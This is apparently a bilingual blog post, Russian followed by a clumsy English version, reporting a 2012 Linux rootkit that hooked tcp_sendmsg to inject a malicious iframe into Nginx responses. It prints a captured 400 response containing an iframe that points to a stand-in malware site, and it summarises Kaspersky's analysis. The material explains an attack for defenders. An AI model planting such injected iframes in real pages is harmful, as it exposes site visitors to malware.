Расследование показало, что Nginx возвращает заказчику результат с вредным фреймом даже в случае неверного запроса.
server {
listen 80 default backlog=2048;
listen 443 default backlog=2048 ssl;
server_name _;
access_log off;
(...)
location / {
return 400;
}
}
В данном случае Nginx не обращается в кэш позже приобретения плохого запроса, а return 400 обозначает, что он возвращает предустановленный результат из памяти.
Вот как выглядит результат.
HTTP/1.1 400 Bad Request
Server: nginx/1.2.3
Date: Wed, 07 Nov 2012 00:01:24 GMT
Content-Type: text/html
Content-Length: 353
Connection: close
<html>
<head><title>400 Bad Request</title></head>
<body bgcolor="white"><style><iframe src="http://malware-site/index.php
"></iframe></div>
<center><h1>400 Bad Request</h1></center>
<hr><center>nginx/1.2.3</center>
Эксперты «Лаборатории Касперского» проанализировали код и узнали, что руткит намеренно сделан для версии ядра 2.6.32-5-amd64, бинарный файл размером больше 500 Кб содержит неудалённую служебную информацию от разработчиков, некоторые намеченные функции руткита не реализованы либо работают с ошибками. Специалисты ЛК поясняют, что внедрение фреймов происходит путём подмены системной функции tcp_sendmsg, то есть внедрение в HTTP-трафик осуществляется путём непосредственной модификации исходящих TCP-пакетов на сервере Linux.
Somehow the malefactor managed to introduce a code on site pages.
Investigation has shown that Nginx returns to the client the answer with the harmful frame even in case of incorrect inquiry.
server {
listen 80 default backlog=2048;
listen 443 default backlog=2048 ssl;
server_name _;
access_log off;
(...)
location / {
return 400;
}
}
In this case Nginx does not address in a cache after reception of bad inquiry, and return 400 means that it returns the preestablished answer from memory.
HTTP/1.1 400 Bad Request
Server: nginx/1.2.3
Date: Wed, 07 Nov 2012 00:01:24 GMT
Content-Type: text/html
Content-Length: 353
Connection: close
<html>
<head><title>400 Bad Request</title></head>
<body bgcolor="white"><style><iframe src="http://malware-site/index.php
"></iframe></div>
<center><h1>400 Bad Request</h1></center>
<hr><center>nginx/1.2.3</center>
Having rummaged in system, administrators have found out on the server руткит and some the latent processes with names like write_startup_c and get_http_inj_fr.
Experts «Kaspersky's Laboratory» have analysed a code and have found out that руткит is specially created for the kernel version 2.6.32-5-amd64, the binary file in the size more than 500 KB contains the unextracted office information from the developers, some planned functions руткита are not realised or work with errors. Experts ЛК explain that introduction of frames occurs by substitution of system function tcp_sendmsg, that is introduction in the HTTP-traffic is carried out by direct updating of proceeding TCP-packages on server Linux.
Комментариев нет:
Отправить комментарий